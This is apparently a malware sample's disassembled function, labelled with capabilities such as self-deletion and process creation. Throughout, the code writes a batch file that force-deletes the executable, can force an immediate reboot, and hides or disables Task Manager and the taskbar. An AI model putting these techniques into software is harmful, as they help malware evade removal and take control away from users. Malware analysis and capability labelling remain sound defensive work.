Function at 0x4022be
Capabilities:
Create process on windows
Delete file
Move file
Query environment variable
Self delete
Set current directory

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x40
mov esi, eax
mov dword [esp + 8], 0x1fff
mov dword [esp + 4], 0x4ba2c4
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleFileNameW
sub esp, 0xc
mov dword [esp + 4], str..bat
mov dword [esp], 0x4ba2c4
call sub.msvcrt.dll_wcscat
mov dword [esp + 8], 0x1fff
mov dword [esp + 4], 0x4be2c4
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleFileNameA
sub esp, 0xc
mov dword [esp + 4], 0x5c
mov dword [esp], 0x4be2c4
call sub.msvcrt.dll_strrchr
inc eax
mov dword [0x4c02c4], eax
mov dword [esp], str.deleteSelf
call fcn.0040ace7
mov dword [esp + 4], 0x4812e6
mov dword [esp], 0x4ba2c4
call sub.msvcrt.dll__wfopen
mov ebx, eax
test eax, eax
je 0x402631
mov dword [esp], str.BAT_created
call fcn.0040ace7
mov dword [esp + 8], str._echo_off
mov dword [esp + 4], str._s_r_n
mov dword [esp], ebx
call sub.msvcrt.dll_fprintf
mov dword [esp + 8], str.:again
mov dword [esp + 4], str._s_r_n
mov dword [esp], ebx
call sub.msvcrt.dll_fprintf
mov eax, dword [0x4c02c4]
mov dword [esp + 8], eax
mov dword [esp + 4], str.if_not_exist__s_goto_end_r_n
mov dword [esp], ebx
call sub.msvcrt.dll_fprintf
mov eax, dword [0x4c02c4]
mov dword [esp + 8], eax
mov dword [esp + 4], str.del__f__q__s_r_n
mov dword [esp], ebx
call sub.msvcrt.dll_fprintf
mov dword [esp + 4], ebx
mov dword [esp], str.goto_again_r_n
call sub.msvcrt.dll_fputs
mov eax, esi
test al, al
je 0x4023f2
mov dword [esp + 4], ebx
mov dword [esp], str.start_shutdown__r__f__t_0_r_n
call sub.msvcrt.dll_fputs
mov dword [esp + 4], ebx
mov dword [esp], str.:end_r_n
call sub.msvcrt.dll_fputs
mov eax, esi
test al, al
je 0x402430
call fcn.004017bf
test al, al
je 0x402430
mov dword [esp + 8], 4
mov dword [esp + 4], 0
mov dword [esp], 0x4ba2c4
call sub.KERNEL32.DLL_MoveFileExW
sub esp, 0xc
mov eax, dword [0x4c02c4]
mov dword [esp + 8], eax
mov dword [esp + 4], str.del__f__q__s.bat_r_n
mov dword [esp], ebx
call sub.msvcrt.dll_fprintf
mov eax, dword [0x4c02c4]
mov dword [esp + 8], eax
mov dword [esp + 4], str.if_exist__s.bat_goto_end_r_n
mov dword [esp], ebx
call sub.msvcrt.dll_fprintf
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
call fcn.0040225c
mov dword [esp + 8], 0x1fff
mov dword [esp + 4], 0x4c02c8
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleFileNameW
sub esp, 0xc
mov dword [esp + 4], 0x5c
mov dword [esp], 0x4c02c8
call sub.msvcrt.dll_wcsrchr
mov word [eax], 0
mov dword [esp], 0x4c02c8
call sub.KERNEL32.DLL_SetCurrentDirectoryW
push eax
mov dword [esp + 8], 0x1ffe
mov dword [esp + 4], 0x4c42c8
mov dword [esp], str.__COMSPEC__
call sub.KERNEL32.DLL_ExpandEnvironmentStringsW
sub esp, 0xc
mov dword [esp + 4], 0x4813ac
mov dword [esp], 0x4c82c8
call sub.msvcrt.dll_wcscpy
mov dword [esp + 4], 0x5c
mov dword [esp], 0x4ba2c4
call sub.msvcrt.dll_wcsrchr
add eax, 2
mov dword [esp + 4], eax
mov dword [esp], 0x4c82c8
call sub.msvcrt.dll_wcscat
lea eax, [ebp - 0xb]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4c02c8
lea ebx, [ebp - 0x24]
mov dword [esp], ebx
call fcn.00441450
lea esi, [ebp - 0x20]
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00407bc5
push eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov dword [esp], str.pwd:___s_
call fcn.0040ace7
mov dword [esp], esi
call fcn.0044b870
mov dword [esp], ebx
call fcn.00441ab0
lea eax, [ebp - 0xa]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4c42c8
lea ebx, [ebp - 0x1c]
mov dword [esp], ebx
call fcn.00441450
lea esi, [ebp - 0x18]
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00407bc5
push eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp], str.cmd:___s_
call fcn.0040ace7
mov dword [esp], esi
call fcn.0044b870
mov dword [esp], ebx
call fcn.00441ab0
lea eax, [ebp - 9]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4c82c8
lea ebx, [ebp - 0x14]
mov dword [esp], ebx
call fcn.00441450
lea esi, [ebp - 0x10]
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00407bc5
push edx
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], str.arg:___s_
call fcn.0040ace7
mov dword [esp], esi
call fcn.0044b870
mov dword [esp], ebx
call fcn.00441ab0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x4c02c8
mov dword [esp + 0xc], 0x4c82c8
mov dword [esp + 8], 0x4c42c8
mov dword [esp + 4], str.open
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteW
sub esp, 0x18
cmp eax, 0x1f
ja 0x40264f
mov dword [esp], str.rape_me_
call fcn.0040ace7
mov dword [esp], 0x2710
call sub.KERNEL32.DLL_Sleep
push eax
call fcn.0040225c
mov dword [esp], 0
call sub.KERNEL32.DLL_ExitProcess
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov ebx, dword [ebp + 8]
mov dword [esp + 8], 0xffa
mov dword [esp + 4], 0x49202c
mov dword [esp], ebx
call sub.USER32.dll_GetWindowTextW
sub esp, 0xc
test eax, eax
je 0x402731
mov dword [esp + 4], str.Program_Manager
mov dword [esp], 0x49202c
call sub.msvcrt.dll_wcsstr
test eax, eax
jne 0x4026e8
mov dword [esp + 4], str.Task_Manager
mov dword [esp], 0x49202c
call sub.msvcrt.dll_wcsstr
test eax, eax
jne 0x4026e8
mov dword [esp + 4], 0x481420
mov dword [esp], 0x49202c
call sub.msvcrt.dll_wcsstr
test eax, eax
jne 0x4026e8
mov dword [esp + 4], str.Shell_TrayWnd
mov dword [esp], 0x49202c
call sub.msvcrt.dll_wcsstr
test eax, eax
je 0x402731
cmp byte [0x492026], 0
je 0x40270d
mov dword [esp + 4], 1
mov dword [esp], ebx
call sub.USER32.dll_EnableWindow
push eax
push eax
mov dword [esp + 4], 8
jmp 0x402727
mov dword [esp + 4], 0
mov dword [esp], ebx
call sub.USER32.dll_EnableWindow
push eax
push eax
mov dword [esp + 4], 0
mov dword [esp], ebx
call sub.USER32.dll_ShowWindow
push ecx
push ecx
mov eax, 1
mov ebx, dword [ebp - 4]
leave
ret 8